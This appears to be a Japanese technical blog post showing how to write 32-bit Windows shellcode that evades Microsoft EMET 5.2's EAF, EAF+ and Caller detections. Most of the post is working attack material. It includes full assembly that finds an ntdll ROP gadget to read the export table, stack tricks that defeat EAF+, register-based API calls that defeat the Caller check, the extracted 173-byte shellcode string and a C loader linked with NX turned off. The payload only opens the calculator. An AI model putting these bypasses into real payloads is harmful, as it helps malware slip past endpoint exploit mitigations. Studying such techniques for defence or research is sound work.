「Windowsで電卓を起動するシェルコードを書いてみる」では、32ビットのWindows環境で動作するシェルコードを書いた。 ここでは、Microsoftが提供する脆弱性緩和ツールEMET(Enhanced Mitigation Experience Toolkit)の検知機構を回避するシェルコードを書いてみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、EMET 5.2
>systeminfo
OS 名: Microsoft Windows 8.1 Pro
OS バージョン: 6.3.9600 N/A ビルド 9600
OS ビルドの種類: Multiprocessor Free
システムの種類: x64-based PC
プロセッサ: 1 プロセッサインストール済みです。
[01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz
>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
>ml
Microsoft (R) Macro Assembler Version 12.00.31101.0
>dumpbin
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
>powershell -c "(dir 'C:\Program Files (x86)\EMET 5.2\EMET_GUI.exe').VersionInfo.FileVersion"
5.2.5546.19547
EMETを使ってみる
EMETは、シェルコード実行やROP、リモートのDLL読み込みなどに対する複数の検知機構をまとめたツールキットである。 EMETでは、適用したいアプリケーションを事前に登録し、有効にしたい検知機構を選択するようになっている。
EMETをインストールし、「Windowsで電卓を起動するシェルコードを書いてみる」で作成したloader.exeについてデフォルトの検知機構を有効にした上で実行すると、実行に失敗することがわかる。 どのような検知機構に引っかかっているか確認するため、Default Actionを「Audit only」にして再度実行してみると、次のスクリーンショットのようになる。

ポップアップの内容から、EAFで2回、Callerで1回検知されていることが確認できる。
EAFの回避
EAF(Export Address Table Filtering)は、kernel32.dll、ntdll.dll、kernelbase.dllのExport Address Table(EAT)へのアクセス時に、そのアクセスが妥当なコード領域で行われているかどうかチェックする。
つまり、シェルコード中でmov eax, [eax]のような形でEATの値を読もうとすると、このチェックにより検知される。
実際にデバッガを使いEAFの検知が起こるタイミングを調べると、IMAGE_EXPORT_DIRECTORY構造体のAddressOfFunctionsメンバにアクセスするタイミングで検知されていることがわかる。
EAFの回避にはいくつかの方法が知られている。
- ROP gadgetを利用し、妥当なコード領域からEATにアクセスする
- EATの代わりに、他のDLLのImport Address Tableから目的の関数のアドレスを得る
- NtContinueシステムコールを呼ぶことで、EAFが利用しているデバッグレジスタをクリアする
ここでは、一つ目の方法を用いることにする。 メモリアクセスに利用できるgadgetとして、ntdll.dll内にある次のコードが知られている。
0:000> u ntdll!RtlGetCurrentPeb ntdll!RtlGetCurrentPeb: 77c8c530 64a118000000 mov eax,dword ptr fs:[00000018h] 77c8c536 8b4030 mov eax,dword ptr [eax+30h] 77c8c539 c3 ret 77c8c53a 90 nop 77c8c53b 90 nop 77c8c53c 90 nop 77c8c53d 90 nop 77c8c53e 90 nop
上における77c8c536をcallすることで、eax+30hのアドレスにある値を取得することができる。
そこで、シェルコード中でntdll.dllがロードされた領域から8b4030c3というバイト列をスキャンし、このgadgetを探索する。
このとき、ntdll.dllのEATをスキャンしてしまうとEAFで検知されてしまうため、スキャンの開始アドレスを先頭からずらす必要があることに注意する。
実際にデバッガで調べてみると、ntdll.dllのEATは先頭から0x2B4BCバイト、RtlGetCurrentPeb関数は先頭から0xdc530バイトの位置にあることがわかる。
0:000> !dh -f ntdll (snip) 77bb0000 image base (snip) 2B4BC [ 10F9F] address [size] of Export Directory (snip) 0:000> ? ntdll!RtlGetCurrentPeb - ntdll Evaluate expression: 902448 = 000dc530
そこで、ここでは先頭から0x40000バイト先の位置からスキャンを開始することにする。 gadgetのアドレスを特定した後は、AddressOfFunctionsメンバにアクセスする箇所でこのgadgetを使うようにシェルコードを修正する。
EAF+の回避
EAF+は、EMET 5.0で追加されたEAFのチェック強化版である。 EAF+を有効にすると、次のような検知機構が追加される。
- EATへのアクセス時、espがスタック領域にあるかチェック
- EATへのアクセス時、ebpがespより大きい値となっているかチェック
- read primitiveによるメモリスキャンが行われうるDLL(Flash PlayerやJavaScriptエンジン)からEATへのアクセスを禁止
- 上記DLLのDOS/PEヘッダへのアクセスを禁止
EMETで新規アプリケーションを追加したとき、デフォルトでEAF+は無効であるが、ここではEAF+による検知も回避することを考える。 具体的には、二つ目のチェックを回避するため、EATへのアクセス時にebpがespより大きな値となるようにする。
Callerの回避
Caller(Caller Checks)はVirtualProtect関数など重要なAPI関数の呼び出し時、リターンアドレスの直前の命令が妥当なcall命令となっているかどうかチェックする。 これにより、ROPでスタック上のリターンアドレスが不正なものとなっている場合を検知する。
CallerはROP検知のための機構であるが、ここではシェルコード中で間接的にAPI関数にジャンプしているため、WinExec関数の呼び出し時に検知に引っかかっている。
これを回避するには、呼びたいAPI関数のアドレスをレジスタにセットし、call raxのような形で呼ぶようにすればよい。
シェルコードを書いてみる
以上の内容をもとに、EMETの検知を回避するシェルコードを書いてみると次のようになる。
; execcalc.asm
.386
.model flat, stdcall
.code
start:
cld
jmp step_main
api_call:
assume fs:nothing
pushad
xor eax, eax
mov eax, fs:[eax+30h] ; PEB
mov eax, [eax+0ch] ; Ldr
mov esi, [eax+14h] ; InMemoryOrderModuleList
lodsd ; next _LDR_DATA_TABLE_ENTRY
mov esi, [eax+10h] ; DllBase of ntdll.dll
xor edx, edx
inc edx
shl edx, 18
add esi, edx ; scan from DllBase+40000h
scan_eaf_bypass:
inc esi
cmp dword ptr [esi], 0c330408bh ; mov eax,dword ptr [eax+30h]; ret
jne scan_eaf_bypass
push esi
next_mod:
mov [esp+20h], eax ; store eax
mov ebp, [eax+10h] ; DllBase
mov eax, [ebp+3ch] ; IMAGE_DOS_HEADER.e_lfanew
mov edi, [ebp+eax+78h] ; IMAGE_EXPORT_DIRECTORY
add edi, ebp
mov ecx, [edi+18h] ; NumberOfNames
mov ebx, [edi+20h] ; AddressOfNames
add ebx, ebp
next_name: ; while (--NumberOfNames)
jecxz name_not_found
dec ecx
mov esi, [ebx+ecx*4] ; ptr = AddressOfNames[NumberOfNames]
add esi, ebp
xor eax, eax
cdq ; hash = 0
compute_hash_loop: ; while ((c = *(ptr++)) != 0)
lodsb
test al, al
jz compare_hash
ror edx, 0dh ; hash += ror(c, 0x0d)
add edx, eax
jmp compute_hash_loop
step_main:
jmp main
compare_hash:
cmp edx, [esp+28h] ; compare with api hash
jnz next_name
mov edx, ebp ; EMET EAF+ bypass
mov ebp, esp
mov ebx, [edi+24h] ; AddressOfNameOrdinals
add ebx, edx
mov cx, [ebx+ecx*2] ; y = AddressOfNameOrdinals[x]
pop esi ; EMET EAF bypass gadget
lea eax, [edi+1ch-30h] ; AddressOfFunctions
call esi
add eax, edx
mov eax, [eax+ecx*4] ; AddressOfFunctions[y]
add eax, edx
mov [esp+1ch], eax ; store eax
popad
pop ecx ; remove api hash from the stack
pop edx
push ecx
ret ; return api address
name_not_found:
mov esi, [esp+20h] ; update eax
lodsd ; next _LDR_DATA_TABLE_ENTRY
jmp next_mod
main:
xor ebx, ebx
push ebx
push 636c6163h ; "calc"
mov eax, esp
push 1
push eax
push 0e8afe98h ; WinExec
call api_call
call eax ; EMET Caller bypass
push ebx
push 73e2d87eh ; ExitProcess
call api_call
call eax
end start
上のコードでは、InMemoryOrderModuleListの2番目が常にntdll.dllであることを利用し、scan_eaf_bypassでベースアドレスの0x40000バイト先からgadgetを探索する。
発見したgadgetのアドレスはスタックに積んでおき、AddressOfFunctionsにアクセスする際に利用することでEAFを回避する。
また、AddressOfFunctionsのアクセス時にebpとespが同じ値になるようにしておくことで、EAF+を回避する。
さらに、api_callはAPI関数に直接ジャンプする代わりにAPI関数のアドレスを返すようにし、呼び出し元であらためてcallすることでCallerを回避する。
最初のjmp命令で直接mainにジャンプするようにすると命令がNUL文字を含んでしまうため、ここではstep_mainを経由してmainにジャンプしている。
コードをアセンブルして実行してみる。
>ml execcalc.asm /link /subsystem:console Microsoft (R) Macro Assembler Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. Assembling: execcalc.asm Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /OUT:execcalc.exe execcalc.obj /subsystem:console >execcalc.exe
電卓が起動することを確認した後、ディスアセンブルして対応するバイト列を表示し、これをC文字列に変換してみる。
>dumpbin /rawdata execcalc.exe
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
Copyright (C) Microsoft Corporation. All rights reserved.
Dump of file execcalc.exe
File Type: EXECUTABLE IMAGE
RAW DATA #1
00401000: FC EB 52 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14 üëR`3Àd.@0.@..p.
00401010: AD 8B 70 10 33 D2 42 C1 E2 12 03 F2 46 81 3E 8B .p.3ÒBÁâ..òF.>.
00401020: 40 30 C3 75 F7 56 89 44 24 20 8B 68 10 8B 45 3C @0Ãu÷V.D$ .h..E<
00401030: 8B 7C 28 78 03 FD 8B 4F 18 8B 5F 20 03 DD E3 40 .|(x.ý.O.._ .Ýã@
00401040: 49 8B 34 8B 03 F5 33 C0 99 AC 84 C0 74 09 C1 CA I.4..õ3À.¬.Àt.ÁÊ
00401050: 0D 03 D0 EB F4 EB 30 3B 54 24 28 75 E1 8B D5 8B ..Ðëôë0;T$(uá.Õ.
00401060: EC 8B 5F 24 03 DA 66 8B 0C 4B 5E 8D 47 EC FF D6 ì._$.Úf..K^.GìÿÖ
00401070: 03 C2 8B 04 88 03 C2 89 44 24 1C 61 59 5A 51 C3 .Â....Â.D$.aYZQÃ
00401080: 8B 74 24 20 AD EB 9F 33 DB 53 68 63 61 6C 63 8B .t$ ë.3ÛShcalc.
00401090: C4 6A 01 50 68 98 FE 8A 0E E8 65 FF FF FF FF D0 Äj.Ph.þ..èeÿÿÿÿÐ
004010A0: 53 68 7E D8 E2 73 E8 58 FF FF FF FF D0 Sh~ØâsèXÿÿÿÿÐ
Summary
1000 .text
>dumpbin /rawdata execcalc.exe | powershell -ex remotesigned -f getsc.ps1
\xFC\xEB\x52\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x8B\x70\x10\x33\xD2\x42\xC1\xE2\x12\x03\xF2\x46\x81\x3E\x8B\x40\x30\xC3\x75\xF7\x56\x89\x44\x24\x20\x8B\x68\x10\x8B\x45\x3C\x8B\x7C\x28\x78\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x03\xDD\xE3\x40\x49\x8B\x34\x8B\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x09\xC1\xCA\x0D\x03\xD0\xEB\xF4\xEB\x30\x3B\x54\x24\x28\x75\xE1\x8B\xD5\x8B\xEC\x8B\x5F\x24\x03\xDA\x66\x8B\x0C\x4B\x5E\x8D\x47\xEC\xFF\xD6\x03\xC2\x8B\x04\x88\x03\xC2\x89\x44\x24\x1C\x61\x59\x5A\x51\xC3\x8B\x74\x24\x20\xAD\xEB\x9F\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x65\xFF\xFF\xFF\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xE8\x58\xFF\xFF\xFF\xFF\xD0
シェルコードを実行してみる
上のバイト列にジャンプするC言語コードを書いてみると次のようになる。
/* loader.c */
#include <stdio.h>
#include <string.h>
int main()
{
char code[] = "\xFC\xEB\x52\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x8B\x70\x10\x33\xD2\x42\xC1\xE2\x12\x03\xF2\x46\x81\x3E\x8B\x40\x30\xC3\x75\xF7\x56\x89\x44\x24\x20\x8B\x68\x10\x8B\x45\x3C\x8B\x7C\x28\x78\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x03\xDD\xE3\x40\x49\x8B\x34\x8B\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x09\xC1\xCA\x0D\x03\xD0\xEB\xF4\xEB\x30\x3B\x54\x24\x28\x75\xE1\x8B\xD5\x8B\xEC\x8B\x5F\x24\x03\xDA\x66\x8B\x0C\x4B\x5E\x8D\x47\xEC\xFF\xD6\x03\xC2\x8B\x04\x88\x03\xC2\x89\x44\x24\x1C\x61\x59\x5A\x51\xC3\x8B\x74\x24\x20\xAD\xEB\x9F\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x65\xFF\xFF\xFF\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xE8\x58\xFF\xFF\xFF\xFF\xD0";
printf("strlen(code) = %d\n", strlen(code));
(*(void (*)())code)();
return 0;
}
>cl loader.c /link /nxcompat:no Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 Copyright (C) Microsoft Corporation. All rights reserved. loader.c Microsoft (R) Incremental Linker Version 12.00.31101.0 Copyright (C) Microsoft Corporation. All rights reserved. /out:loader.exe /nxcompat:no loader.obj
EMETの適用対象にloader.exeを追加し、EAF、EAF+、Callerを有効にする。 この状態で実行ファイルを実行すると、EMETで検知されることなく電卓が起動することが確認できる。
>loader.exe strlen(code) = 173
このシェルコードの長さは173バイトである。